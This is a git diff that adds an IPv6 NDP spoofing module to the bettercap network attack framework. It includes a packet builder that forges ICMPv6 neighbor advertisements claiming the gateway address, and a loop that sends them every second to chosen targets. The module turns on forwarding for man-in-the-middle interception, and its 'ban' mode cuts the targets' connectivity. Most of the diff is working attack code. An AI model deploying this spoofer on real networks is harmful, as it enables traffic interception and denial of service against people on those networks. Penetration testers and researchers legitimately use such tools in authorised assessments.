diff --git a/firewall/firewall_linux.go b/firewall/firewall_linux.go index b5772a87..312402f6 100644 --- a/firewall/firewall_linux.go +++ b/firewall/firewall_linux.go @@ -9,6 +9,7 @@ import ( "github.com/bettercap/bettercap/network" "github.com/evilsocket/islazy/str" + "github.com/evilsocket/islazy/fs" ) type LinuxFirewall struct { @@ -19,6 +20,7 @@ type LinuxFirewall struct { const ( IPV4ForwardingFile = "/proc/sys/net/ipv4/ip_forward" + IPV6ForwardingFile = "/proc/sys/net/ipv6/conf/all/forwarding" ) func Make(iface *network.Endpoint) FirewallManager { @@ -61,7 +63,12 @@ func (f LinuxFirewall) IsForwardingEnabled() bool { } func (f LinuxFirewall) EnableForwarding(enabled bool) error { - return f.enableFeature(IPV4ForwardingFile, enabled) + if err := f.enableFeature(IPV4ForwardingFile, enabled); err != nil { + return err + } else if fs.Exists(IPV6ForwardingFile) { + return f.enableFeature(IPV6ForwardingFile, enabled) + } + return nil } func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []string) { diff --git a/modules/modules.go b/modules/modules.go index 4b66890a..78d62e92 100644 --- a/modules/modules.go +++ b/modules/modules.go @@ -19,6 +19,7 @@ import ( "github.com/bettercap/bettercap/modules/mac_changer" "github.com/bettercap/bettercap/modules/mdns_server" "github.com/bettercap/bettercap/modules/mysql_server" + "github.com/bettercap/bettercap/modules/ndp_spoof" "github.com/bettercap/bettercap/modules/net_probe" "github.com/bettercap/bettercap/modules/net_recon" "github.com/bettercap/bettercap/modules/net_sniff" @@ -61,6 +62,7 @@ func LoadModules(sess *session.Session) { sess.Register(wol.NewWOL(sess)) sess.Register(hid.NewHIDRecon(sess)) sess.Register(c2.NewC2(sess)) + sess.Register(ndp_spoof.NewNDPSpoofer(sess)) sess.Register(caplets.NewCapletsModule(sess)) sess.Register(update.NewUpdateModule(sess)) diff --git a/modules/ndp_spoof/ndp_spoof.go b/modules/ndp_spoof/ndp_spoof.go new file mode 100644 index 00000000..050471c6 --- /dev/null +++ b/modules/ndp_spoof/ndp_spoof.go @@ -0,0 +1,173 @@ +package ndp_spoof + +import ( + "fmt" + "github.com/bettercap/bettercap/packets" + "github.com/evilsocket/islazy/str" + "net" + "sync" + "time" + + "github.com/bettercap/bettercap/session" +) + +type NDPSpoofer struct { + session.SessionModule + gwAddress net.IP + addresses []net.IP + ban bool + waitGroup *sync.WaitGroup +} + +func NewNDPSpoofer(s *session.Session) *NDPSpoofer { + mod := &NDPSpoofer{ + SessionModule: session.NewSessionModule("ndp.spoof", s), + addresses: make([]net.IP, 0), + ban: false, + waitGroup: &sync.WaitGroup{}, + } + + mod.SessionModule.Requires("net.recon") + + mod.AddParam(session.NewStringParameter("ndp.spoof.targets", "", "", "Comma separated list of IPv6 addresses, "+ + "MAC addresses or aliases to spoof.")) + + mod.AddParam(session.NewStringParameter("ndp.spoof.gateway", "fe80::1", "", "Gateway address to spoof.")) + + mod.AddHandler(session.NewModuleHandler("ndp.spoof on", "", + "Start NDP spoofer.", + func(args []string) error { + return mod.Start() + })) + + mod.AddHandler(session.NewModuleHandler("ndp.ban on", "", + "Start NDP spoofer in ban mode, meaning the target(s) connectivity will not work.", + func(args []string) error { + mod.ban = true + return mod.Start() + })) + + mod.AddHandler(session.NewModuleHandler("ndp.spoof off", "", + "Stop NDP spoofer.", + func(args []string) error { + return mod.Stop() + })) + + mod.AddHandler(session.NewModuleHandler("ndp.ban off", "", + "Stop NDP spoofer.", + func(args []string) error { + return mod.Stop() + })) + + return mod +} + +func (mod NDPSpoofer) Name() string { + return "ndp.spoof" +} + +func (mod NDPSpoofer) Description() string { + return "Keep spoofing selected hosts on the network by sending spoofed NDP router advertisements." +} + +func (mod NDPSpoofer) Author() string { + return "Simone Margaritelli " +} + +func (mod *NDPSpoofer) Configure() error { + var err error + var gwaddr, targets string + + if err, gwaddr = mod.StringParam("ndp.spoof.gateway"); err != nil { + return err + } else if mod.gwAddress = net.ParseIP(gwaddr); mod.gwAddress == nil { + return fmt.Errorf("can't parse gateway address %s", gwaddr) + } else if err, targets = mod.StringParam("ndp.spoof.targets"); err != nil { + return err + } + + mod.addresses = make([]net.IP, 0) + for _, addr := range str.Comma(targets) { + if ip := net.ParseIP(addr); ip != nil { + mod.addresses = append(mod.addresses, ip) + } else { + return fmt.Errorf("can't parse ip %s", addr) + } + } + + mod.Debug(" addresses=%v", mod.addresses) + + if mod.ban { + mod.Warning("running in ban mode, forwarding not enabled!") + mod.Session.Firewall.EnableForwarding(false) + } else if !mod.Session.Firewall.IsForwardingEnabled() { + mod.Info("enabling forwarding") + mod.Session.Firewall.EnableForwarding(true) + } + + return nil +} + +func (mod *NDPSpoofer) Start() error { + if err := mod.Configure(); err != nil { + return err + } + + nTargets := len(mod.addresses) + if nTargets == 0 { + mod.Warning("list of targets is empty, module not starting.") + return nil + } + + return mod.SetRunning(true, func() { + mod.Info("ndp spoofer started, probing %d targets.", nTargets) + + mod.waitGroup.Add(1) + defer mod.waitGroup.Done() + + for mod.Running() { + for ip, mac := range mod.getTargets(true) { + + srcHW := mod.Session.Interface.HW + srcIP := mod.gwAddress + dstHW := mac + dstIP := net.ParseIP(ip) + + mod.Debug("neigh_hw(ours)=%s src_ip(neigh)=%s victim_hw=%s victim_ip=%s", srcHW, srcIP, dstHW, dstIP) + + if err, packet := packets.ICMP6RouterAdvertisement(srcHW, srcIP, dstHW, dstIP, srcIP); err != nil { + mod.Error("error creating packet: %v", err) + } else if err = mod.Session.Queue.Send(packet); err != nil { + mod.Error("error while sending packet: %v", err) + } + } + + time.Sleep(1 * time.Second) + } + }) +} + +func (mod *NDPSpoofer) Stop() error { + return mod.SetRunning(false, func() { + mod.Info("waiting for NDP spoofer to stop ...") + mod.ban = false + mod.waitGroup.Wait() + }) +} + +func (mod *NDPSpoofer) getTargets(probe bool) map[string]net.HardwareAddr { + targets := make(map[string]net.HardwareAddr) + + // add targets specified by IP address + for _, ip := range mod.addresses { + if mod.Session.Skip(ip) { + continue + } + // do we have this ip mac address? + if hw, err := mod.Session.FindMAC(ip, probe); err == nil { + targets[ip.String()] = hw + } + } + + return targets +} diff --git a/network/net.go b/network/net.go index e117bcb9..4838f74c 100644 --- a/network/net.go +++ b/network/net.go @@ -112,6 +112,8 @@ func ParseTargets(targets string, aliasMap *data.UnsortedKV) (ips []net.IP, macs } targets = strings.Trim(targets, ", ") + fmt.Printf("targets=%s macs=%#v\n", targets, macs) + // check and resolve aliases for _, targetAlias := range aliasParser.FindAllString(targets, -1) { found := false @@ -137,7 +139,7 @@ func ParseTargets(targets string, aliasMap *data.UnsortedKV) (ips []net.IP, macs if targets != "" { list, err := iprange.ParseList(targets) if err != nil { - return nil, nil, fmt.Errorf("error while parsing address list '%s': %s.", targets, err) + return nil, nil, fmt.Errorf("error while parsing address list '%s': %s", targets, err) } ips = list.Expand() diff --git a/packets/icmp6.go b/packets/icmp6.go new file mode 100644 index 00000000..fd9248d7 --- /dev/null +++ b/packets/icmp6.go @@ -0,0 +1,38 @@ +package packets + +import ( + "github.com/google/gopacket/layers" + "net" +) + +func ICMP6RouterAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.HardwareAddr, dstIP net.IP, routerIP net.IP) (error, []byte) { + eth := layers.Ethernet{ + SrcMAC: srcHW, + DstMAC: dstHW, + EthernetType: layers.EthernetTypeIPv6, + } + ip6 := layers.IPv6{ + NextHeader: layers.IPProtocolICMPv6, + TrafficClass: 224, + Version: 6, + HopLimit: 255, + SrcIP: srcIP, + DstIP: dstIP, + } + icmp6 := layers.ICMPv6{ + TypeCode: layers.ICMPv6TypeNeighborAdvertisement << 8, + } + adv := layers.ICMPv6NeighborAdvertisement{ + Flags: 0x20 | 0x40, // solicited && override + TargetAddress: routerIP, + Options: []layers.ICMPv6Option{ + { + Type: layers.ICMPv6OptTargetAddress, + Data: srcHW, + }, + }, + } + icmp6.SetNetworkLayerForChecksum(&ip6) + + return Serialize(ð, &ip6, &icmp6, &adv) +} diff --git a/packets/udp.go b/packets/udp.go index c9a38057..a8e86002 100644 --- a/packets/udp.go +++ b/packets/udp.go @@ -12,21 +12,35 @@ func NewUDPProbe(from net.IP, from_hw net.HardwareAddr, to net.IP, port int) (er EthernetType: layers.EthernetTypeIPv4, } - ip4 := layers.IPv4{ - Protocol: layers.IPProtocolUDP, - Version: 4, - TTL: 64, - SrcIP: from, - DstIP: to, - } - udp := layers.UDP{ SrcPort: layers.UDPPort(12345), DstPort: layers.UDPPort(port), } udp.Payload = []byte{0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef} - udp.SetNetworkLayerForChecksum(&ip4) + if to.To4() == nil { + ip6 := layers.IPv6{ + NextHeader: layers.IPProtocolUDP, + Version: 6, + SrcIP: from, + DstIP: to, + HopLimit: 64, + } - return Serialize(ð, &ip4, &udp) + udp.SetNetworkLayerForChecksum(&ip6) + + return Serialize(ð, &ip6, &udp) + } else { + ip4 := layers.IPv4{ + Protocol: layers.IPProtocolUDP, + Version: 4, + TTL: 64, + SrcIP: from, + DstIP: to, + } + + udp.SetNetworkLayerForChecksum(&ip4) + + return Serialize(ð, &ip4, &udp) + } } diff --git a/session/module_param.go b/session/module_param.go index e2aacdb6..90bb60ac 100644 --- a/session/module_param.go +++ b/session/module_param.go @@ -95,6 +95,7 @@ func (p ModuleParam) validate(value string) (error, interface{}) { const ParamIfaceName = "" const ParamIfaceAddress = "" const ParamIfaceAddress6 = "" +const ParamIfaceMac = "" const ParamSubnet = "" const ParamRandomMAC = "" @@ -108,6 +109,8 @@ func (p ModuleParam) parse(s *Session, v string) string { v = s.Interface.IpAddress case ParamIfaceAddress6: v = s.Interface.Ip6Address + case ParamIfaceMac: + v = s.Interface.HwAddress case ParamSubnet: v = s.Interface.CIDR() case ParamRandomMAC: diff --git a/session/session.go b/session/session.go index 9943e671..f5097788 100644 --- a/session/session.go +++ b/session/session.go @@ -305,7 +305,7 @@ func (s *Session) Start() error { func (s *Session) Skip(ip net.IP) bool { if ip.IsLoopback() { return true - } else if ip.Equal(s.Interface.IP) { + } else if ip.Equal(s.Interface.IP) || ip.Equal(s.Interface.IPv6){ return true } else if ip.Equal(s.Gateway.IP) { return true @@ -324,6 +324,10 @@ func (s *Session) FindMAC(ip net.IP, probe bool) (net.HardwareAddr, error) { from := s.Interface.IP from_hw := s.Interface.HW + if ip.To4() == nil { + from = s.Interface.IPv6 + } + if err, probe := packets.NewUDPProbe(from, from_hw, ip, 139); err != nil { log.Error("Error while creating UDP probe packet for %s: %s", ip.String(), err) } else {